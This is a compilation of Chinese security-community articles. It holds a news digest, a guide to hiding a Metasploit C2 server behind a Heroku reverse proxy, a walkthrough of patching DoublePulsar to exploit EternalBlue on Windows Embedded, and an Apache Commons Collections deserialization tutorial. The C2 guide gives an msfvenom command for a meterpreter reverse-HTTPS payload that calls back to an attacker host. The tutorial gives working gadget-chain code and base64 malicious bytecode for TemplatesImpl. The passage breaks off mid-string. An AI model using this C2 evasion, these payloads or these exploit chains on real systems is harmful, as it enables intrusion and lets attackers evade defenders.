* [blackhat-Sour Pickle: A serialised exploitation guide in one part](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)
* [一篇文章带你理解漏洞之 Python 反序列化漏洞](https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/)
* [通过AST来构造Pickle opcode](https://xz.aliyun.com/t/7012)
* [pker](https://github.com/eddieivan01/pker)
* [Code-Breaking中的两个Python沙箱](https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html)
* [从Balsn CTF pyshv学习python反序列化](https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
* [利用python反序列化覆盖秘钥——watevrCTF-2019: Pickle Store的第二种解法](https://xz.aliyun.com/t/7320) | 社区文章 |
# 【知识】11月28日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 'Exim' Mail Transfer Agent
(MTA)的高危漏洞（远程代码执行和拒绝服务，PoC已发布）、世界上最大的僵尸网络Necurs通过Scarab勒索软件发送了1200万封电子邮件、Imgur公开关于2014年用户数据泄露的细节、开源移动安全测试框架MobSF框架源代码分析
**、对流行IoT设备安全性的测试——你的IoT设备的安全性如何呢？****
资讯类：
'Exim' Mail Transfer Agent (MTA)的高危漏洞：
远程代码执行（CVE-2017-16943） ——PoC已发布
拒绝服务（CVE-2017-16944）——PoC已发布
建议尽快更新到Exim 4.90 RC2！
<https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html>
<http://securityaffairs.co/wordpress/66043/hacking/exim-unix-mailer-flaws.html>
Exim 4.89 BDAT DoS
<https://cxsecurity.com/issue/WLB-2017110148>
<https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867>
世界上最大的僵尸网络Necurs通过Scarab勒索软件发送了1200万封电子邮件
<https://thehackernews.com/2017/11/necrus-scarab-ransomware.html>
Imgur公开关于2014年用户数据泄露的细节
<https://threatpost.com/imgur-confirms-2014-breach-of-1-7-million-user-accounts/129006/>
Chrome的防自动跳转机制
<https://blog.malwarebytes.com/cybercrime/2017/11/chrome-declares-war-unwanted-redirects/>
**技术类：**
****
【IoT】对流行IoT设备安全性的测试——你的IoT设备的安全性如何呢？
<https://securelist.com/iot-lottery/83300/>
【移动安全】开源移动安全测试框架MobSF框架及源代码分析
<http://www.mottoin.com/96841.html>
【移动安全】安卓multi-stage恶意软件如何通过Google Play传播以及应该如何移除
<https://www.youtube.com/watch?v=O-MhwByGbFw>
【二进制】如何构建一个可移植的Linux二进制文件
<http://blog.gibson.sh/2017/11/26/creating-portable-linux-binaries/>
【CTF】Pivot 32-bit CTF使用Radare2的通关策略
<http://radiofreerobotron.net/blog/2017/11/23/ropemporium-pivot-ctf-walkthrough/>
【Tools】RFCrack：软件定义的无线信号攻击工具
<http://console-cowboys.blogspot.com/2017/11/rfcrack-release-software-defined-radio.html>
<https://www.youtube.com/watch?v=H7-g15YZBiI>
【Tools】Cracken：密码破解工具实战
<https://securityintelligence.com/the-cracken-in-action-a-password-cracking-adventure/>
【恶意软件】基于TeamViewer的瞄准小公司的远控木马分析
<https://benkowlab.blogspot.fr/2017/11/rules-22-copypasta-is-made-to-ruin.html>
【教程】如何使用netcat将Android文件系统的镜像直接传到本地系统
<https://infosecaddicts.com/netcat-transferring-android-file-system/>
【渗透】看我如何利用简单的配置错误拿下BBC
<https://www.daley.cc/how-i-owned-the-bbc-with-a-simple-misconfiguration-due-to-human-laziness>
Terror EK漏洞利用工具开始全程走HTTPS
<https://blog.malwarebytes.com/threat-analysis/2017/11/terror-exploit-kit-goes-https-all-the-way/>
如何利用Facebook的漏洞删除任意图片文件
<https://nakedsecurity.sophos.com/2017/11/27/how-one-man-could-have-deleted-any-image-on-facebook/>
Bypassing SAML 2.0 SSO with XML Signature Attacks
<http://research.aurainfosec.io/bypassing-saml20-SSO/> | 社区文章 |
# 利用heroku隐藏C2服务器
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本篇文章介绍如何使用heroku实现隐藏metasploit-framework的C2服务,相比较于业界流行的 `域前置` `CDN` `重定向`
三种隐藏C2的方法,本篇文章介绍的方法操作简单,在与 `威胁情报` 和 `IP封锁` 对抗过程成本更低(无论是时间成本还是资金成本).
## 当前流行的隐藏C2技术
`域前置` `CDN` `重定向` 是当前流行的三种隐藏C2的技术. Shanfenglan7 在其文章
[利用CDN、域前置、重定向三种技术隐藏C2的区别](https://blog.csdn.net/qq_41874930/article/details/109008708)
中进行了非常细致的说明,笔者在实际测试三种技术发现,每种技术都有一些不足.
### CDN隐藏C2
使用CDN隐藏C2的准备工作大致如下
* 需要购买域名 (可以通过<https://www.freenom.com/>使用免费的)
* 需要购买CDN服务 (可以使用免费的<https://www.cloudflare.com/>)
* 需要在CDN服务商处修改DNS记录
* 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)
可以看到,虽然通过组合免费服务可以实现零成本,但是实现过程中需要进行很多配置操作,时间成本及心智成本过高.如果域名不是匿名注册,还有被追踪溯源的风险.
### 域前置隐藏C2
使用域前置隐藏C2的准备工作大致如下
* 需要购买域名 (可以通过<https://www.freenom.com/>使用免费的)
* 需要购买CDN服务 (可以使用免费的<https://www.cloudflare.com/>)
* 需要在CDN服务商处修改DNS记录
* 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)
* 需要知道cdn上的其他高信誉域名或者ip
* 需要修改malleable profile文件
域前置相对于CDN还要进行更多的额外操作,而且当前主流CDN服务商都已经开始屏蔽域前置技术.
### 重定向隐藏C2
使用重定向隐藏C2的准备工作大致如下
* 需要两台VPS
* 使用apache或者nginx配置重定向转发
* 需要修改malleable profile文件
重定向需要进行一些额外的编码及部署工作,而且还需要将一台VPS的IP地址暴露给 威胁情报 ,可能被溯源,其实并没有实现隐藏C2的目标.
## 利用heroku隐藏C2服务器
Heroku是一个支持多种编程语言的云平台即服务。简单理解就是可以免费部署docker容器并且可以开放web服务到互联网.下面介绍操作步骤.
* 首先注册Heroku账号，点击通过 [https://dashboard.heroku.com](https://dashboard.heroku.com/) 注册一个账号 (推荐使用gmail)
* 注册成功以后登录，登录以后点击 [部署链接](https://dashboard.heroku.com/new?template=https://github.com/FunnyWolf/nginx-proxy-heroku),
* app名称填写为 `mydiydomain` (可自定义,名称为后续域名前缀)，TARGET环境变量填写为C2的handler地址
* 然后点击 Deploy app 系统会自动部署.
* 在metasploit-framework中添加handler,配置如图
* 执行 `to_handler` 生成listener
* 使用如下命令生成payload
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=mydiydomain.herokuapp.com LPORT=443 -f exe -o ~/payload.exe
* 上传运行目标机器运行即可
## 运行效果
* 在metasploit-framework中查看session如下,可以看到session的链接地址为heroku中转服务器地址
* 在目标机抓包效果如下
## 总结
heroku隐藏C2从技术原理上看非常简单,使用heroku服务部署nginx反向代理服务,payload连接heroku的nginx,nginx将流量转发到C2.具体优势如下:
* 只需要注册heroku免费账号即可
* 无需注册或购买域名
* 自带可信的SSL证书(heroku域名自带证书)
* 如果IP地址被封锁,可删除原有heroku app重新部署heroku app(大约需要30s),与防守人员持续对抗
* 操作步骤简单 | 社区文章 |
# 修改DoublePulsar实现在Windows嵌入式系统上的EternalBlue漏洞利用
##### 译文声明
本文是翻译文章，文章原作者 Capt. Meelo，文章来源：capt-meelo.github.io
原文地址：<https://capt-meelo.github.io/pentest/2018/06/26/patching-doublepulsar.html>
译文仅供参考，具体内容表达以及含义原文为准。
最近我发现了一些Windows设备受MS17-010漏洞的影响，其中一个设备引起了我的注意，因为我从没遇到过这种——一个Windows嵌入式操作系统。
[](https://p0.ssl.qhimg.com/t01e71bc5e3939ef742.png)
由于它受到MS17-010的影响，我立即尝试了相关的Metasploit模块。但是没有成功，我只得到一个错误，说目标操作系统不支持。
[](https://p0.ssl.qhimg.com/t01dc6653611f4c4de6.png)
甚至最新的MS17-010模块(exploit/windows/smb/ms17_010_psexec)也无效。
[](https://p1.ssl.qhimg.com/t0191e82b396f7cf7d4.png)
这很奇怪。也许MSF的辅助模块给了我一个假象，或者开发模块的作者忘记了包含对Windows嵌入式系统的支持。
[](https://p4.ssl.qhimg.com/t01f0b6153aa2813142.png)
为了验证目标是否真的易受攻击，我决定使用MS17-010的原始漏洞攻击。于是我启动了FuzzBunch，然后使用SMBTouch。结果表明，目标实际上是易受EternalBlue攻击的。
[](https://p0.ssl.qhimg.com/t01c4cf464810f8fd19.png)
然后我使用了EternalBlue模块，结果是成功的，后门成功地安装在目标上。因此，我猜MSF利用模块的作者只是忘记添加对Windows嵌入式版本的支持。
[](https://p4.ssl.qhimg.com/t01e6c60976fd83dbb0.png)
由于后门已经安装，要完成利用并获得shell，最后需要做的事情就是使用DoublePulsar。首先，我生成了一个DLL格式的shell。
[](https://p4.ssl.qhimg.com/t01682257bc03f09dee.png)
然后，我使用DoublePulsar将生成的DLL注入目标主机。但是，失败了，错误消息为[-] ERROR unrecognized OS
string。我猜MSF模块是没问题的，但Windows嵌入式版本是不受支持的。
[](https://p0.ssl.qhimg.com/t01aa80b3d627c59d3e.png)
我决定更深入地挖掘并研究DoublePulsar。首先，我搜索了在尝试使用DoublePulsar时得到的错误消息。这个字符串是在0x0040376C的.text部分找到的。
[](https://p1.ssl.qhimg.com/t01ab7bee1d63310bd9.png)
为了更好地理解DoublePulsar的错误消息是如何产生的，我决定使用IDA的图形视图跟踪程序的流程。
[](https://p5.ssl.qhimg.com/t01e4bd6d85afd736f9.png)
从图形视图中可以看出，如果目标计算机正在运行Windows 7，它将走左边的路径，然后继续检测其结构是x86还是x64。如果目标不是Windows
7，它将采取正确的路径并执行其他OS检查。由于没有检查Windows Embedded，程序最终输出错误消息[-] ERROR unrecognized
OS string。
[](https://p4.ssl.qhimg.com/t015bdf83299ff4b4f4.png)
通过进一步分析“Windows 7 OS Check”，我观察到我可以通过将指令jz short loc_403641修改为jnz short
loc_403641来强制程序走左边的路径。
[](https://p1.ssl.qhimg.com/t016025434e0481ed4f.png)
为此，我转到 Edit > Patch program > Change byte。
[](https://p4.ssl.qhimg.com/t018a57a2457178d122.png)
然后，我将值74(JZ的操作码)更改为75(JNZ的操作码)。
[](https://p4.ssl.qhimg.com/t0177bb8ce920796d1b.png)
这是修改跳转指令后的样子。
[](https://p2.ssl.qhimg.com/t013eaf3c34792541e1.png)
然后我通过“File > Produce file > Create DIF file…”创建了一个dif文件。。
[](https://p0.ssl.qhimg.com/t01d570db13252028c5.png)
然后使用@stalkr_的脚本(https：/stalkr.net/file/ida/idadif.py)来修补修改过的exe文件。
[](https://p0.ssl.qhimg.com/t01beb4c62ee88138c7.png)
然后将修改后的DoublePulsar-1.3.1.exe移回原来的位置。
[](https://p0.ssl.qhimg.com/t01acb638211582bd58.png)
使用修改后的DoublePulsar，我能够将生成的DLL注入目标主机。
[](https://p0.ssl.qhimg.com/t0172520067cf5b5e09.png)
并得到了一个SYSTEM shell。
[](https://p4.ssl.qhimg.com/t01886a236e6c61e301.png)
审核人：yiwang 编辑：边边 | 社区文章 |
### 一、简介
* * *
Apache Commons 是对 JDK 的拓展，包含了很多开源的工具，用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做
Apache Commons Collections，封装了 Java 的 Collection 相关类对象。
CC链 编写的是测试代码，和 ysoserial 中的稍有不同。 下面的是经常用到的 `非常重要` 的Transformer 接口的实现类。
#### 1.1 ConstantTransformer
Transformer 接口的实现类，并重写了其接口类的 transform 方法。其 transform 方法作用是获取一个对象类型，关键代码如下：
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
//构造函数
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//重写的 transform 方法，获取一个对象类型
public Object transform(Object input) {
return this.iConstant;
}
}
#### 1.2 InvokerTransformer
Transformer 接口的实现类，并重写了其接口类的 transform 方法。其 transform
方法作用是反射调用指定的方法并返回方法调用结果，关键代码如下：
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法，反射调用指定的方法并返回方法调用结果
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch …………
}
}
}
测试：
// 测试 InvokerTransformer
public class Test {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
}
}
###输出
弹出计算器
#### 1.3 InstantiateTransformer
Transformer 接口的实现类，并重写了其接口类的 transform 方法。其 transform
方法作用是反射调用构造函数将类实例化，关键代码如下：
public class InstantiateTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3786388740793356347L;
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法，反射调用构造函数将类实例化。
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
测试：
// Student 类
public class Student {
public Student(String name) {
System.out.println("学生姓名:" + name);
}
}
// 测试 InstantiateTransformer
public class Test {
public static void main(String[] args) {
Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{"小明"});
instantiateTransformer.transform(Student.class);
}
}
###输出
学生姓名:小明
Process finished with exit code 0
#### 1.4 ChainedTransformer
Transformer 接口的实现类，并重写了其接口类的 transformer 方法。其 transform 方法作用是实现数组链式调用。我们只需传入一个
Transformer[] 给 ChainedTransformer，然后执行 ChainedTransformer 的 transform
方法便可以链式调用 Transformer[] 中每个 Transformer 的 transform 方法。关键代码如下：
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
//构造函数
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//重写的 transform 方法，链式调用 Transformer[] 中每个 Transformer 的 transform 方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
测试：（`很重要` 利用 ChainedTransformer 实现 Runtime. _getRuntime_ ().exec("calc") ）
// 测试 ChainedTransformer
public class Test {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}
###输出
弹出计算器
那么我们如何触发 ChainedTransformer 的 transform 方法呢？这就引出了 LazyMap 类。
#### 1.5 LazyMap（重要）
其 get 方法中可以触发 ChainedTransformer 的 transform 方法。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
//可控制 factory 为 ChainedTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
//利用 get 方法可实现调用 ChainedTransformer#transform()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
//关键点
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}
测试：
// 测试 LazyMap
public class Test {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
lazyMap.get("test");
}
}
###输出
弹出计算器
那么如何反序列化时触发 LazyMap 的 get 方法呢？下面 CC 链中将会介绍几种触发 LazyMap#get 的方法。
#### 1.6 TemplatesImpl（重要）
这个类不在 Apache Commons Collections 中。但是 TemplatesImpl
这个类很特殊，我们可以借助其动态加载包含恶意的字节码，部分简化代码如下：
public final class TemplatesImpl implements Templates, Serializable {
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
//关键方法：newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 关键点，调用 getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
//继续跟进 getTransletInstance() 方法：
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
//先判断是否为 null，如果为 null 的话去加载字节码，紧接着 newInstance() 对其实例化。
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
…………
}
}
//继续跟进 defineTransletClasses() 方法:
private void defineTransletClasses()
throws TransformerConfigurationException {
…………
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
…………
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //关键点
final Class superClass = _class[i].getSuperclass();
}
}
//继续跟进 TransletClassLoader，这个类里重写了 defineClass 方法
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length); //关键点
}
}
}
恶意字节码的生成：
HelloTemplatesImpl.java，主要其必须继承 AbstractTranslet 类，
// HelloTemplatesImpl.java
public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
我们将其编译为 HelloTemplatesImpl.class，然后进行 Base64 编码，得到如下结果：
yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj
测试 TemplatesImpl：
// 测试 TemplatesImpl
public class Test {
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws TransformerConfigurationException {
//恶意字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
###输出结果
弹出计算器
所以我们只需传入恶意字节码给 TemplatesImpl，然后调用其 newTransformer 方法。那么有没有类可以调用
TemplatesImpl.newTransformer()，这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter，下面是其构造函数：
public class TrAXFilter extends XMLFilterImpl {
//构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); //关键点
…………
}
}
测试 TrAXFilter：
// 测试 TrAXFilter
public class Test {
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws TransformerConfigurationException {
//字节码
byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2